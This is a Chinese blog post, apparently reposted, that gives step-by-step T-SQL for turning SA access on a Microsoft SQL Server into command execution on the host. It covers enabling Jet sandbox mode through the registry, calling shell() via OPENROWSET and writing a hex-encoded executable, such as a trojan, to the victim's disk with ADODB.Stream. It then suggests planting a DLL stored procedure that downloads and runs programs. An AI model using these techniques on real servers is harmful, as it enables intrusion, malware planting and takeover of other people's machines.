分享

SQL中两种特别执行命令的方法

 昵称800675 2010-07-19
以下方法都以需要SA权限为前提。

1, 沙盒模式的变通.
原始方法:

第一句开启沙盘模式:

1. exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1

复制代码
第二句利用jet.oledb执行系统命令:

1. select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\dnary.mdb','select shell("CMD命令")') 

复制代码


1. select * from openrowset('microsoft.jet.oledb.4.0',';database=ias\ias.mdb','select shell("CMD命令")') 

复制代码
但是,当 X:\Windows\System32\ias\dnary.mdb 或 X:\Windows\System32\ias\ias.mdb 被删除时,命令就会无效了.

所以利用以下语句创建一个数据库:(数据库名SysSetup.xml,后缀.xml是自定义,不影响使用.)

1. declare @hr int
2. declare @object int;declare @property int
3. exec @hr = sp_OACreate 'ADOX.Catalog',@object OUTPUT
4. exec @hr = sp_OAMethod @object,'Create',@property output,'Provider=Microsoft.Jet.OLEDB.4.0;Data Source=SysSetup.xml'

复制代码
然后再利用jet.oledb调用SysSetup.xml执行系统命令:

1. select * from openrowset('microsoft.jet.oledb.4.0',';database=SysSetup.xml','select shell("CMD命令")')

复制代码
2, 直接写入文件到对方计算机,此处的文件可以是exe, dll,等.(注,此方法不支持文件大于64KB)

当已经有一个程序需要放到对方计算机的时候.(例如, 放MA。)
将这个文件转成HEX代码。
如果不知道怎么把文件转成HEX代码,请使用下面的工具:File2Hex用方法很简单, 解压出来之后, 把要转的文件拖到脚本上去, 就会生成包含HEX代码的文本.

然后用以下方法写入到对方计算机中。

1. DECLARE @ObjectToken INT
2. EXEC sp_OACreate 'ADODB.Stream', @ObjectToken OUTPUT
3. EXEC sp_OASetProperty @ObjectToken, 'Type', 1
4. EXEC sp_OAMethod @ObjectToken, 'Open'
5. EXEC sp_OAMethod @ObjectToken, 'Write', NULL, 0x123456(其中0x123456为HEX内容)
6.

7. EXEC sp_OAMethod @ObjectToken, 'SaveToFile', NULL, 'Test.exe(文件名)', 2
8. EXEC sp_OAMethod @ObjectToken, 'Close'
9. EXEC sp_OADestroy @ObjectToken

复制代码
写入之后, 就发挥你的办法去执行你写入的这个文件就OK了。

集思广益:
现在很多计算机可以执行命令的方法都被人封得抓狂,就算有幸可以执行,也有可能CMD被改了权限..
所以我推荐的办法是有能力的同学自己开发DLL,然后把DLL写入到对方计算机中,再注册为存储过程.
至于存储过程的功能. 可以是下载程序并执行,  可以是直接执行命令. 当然这个看你自己了.

    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多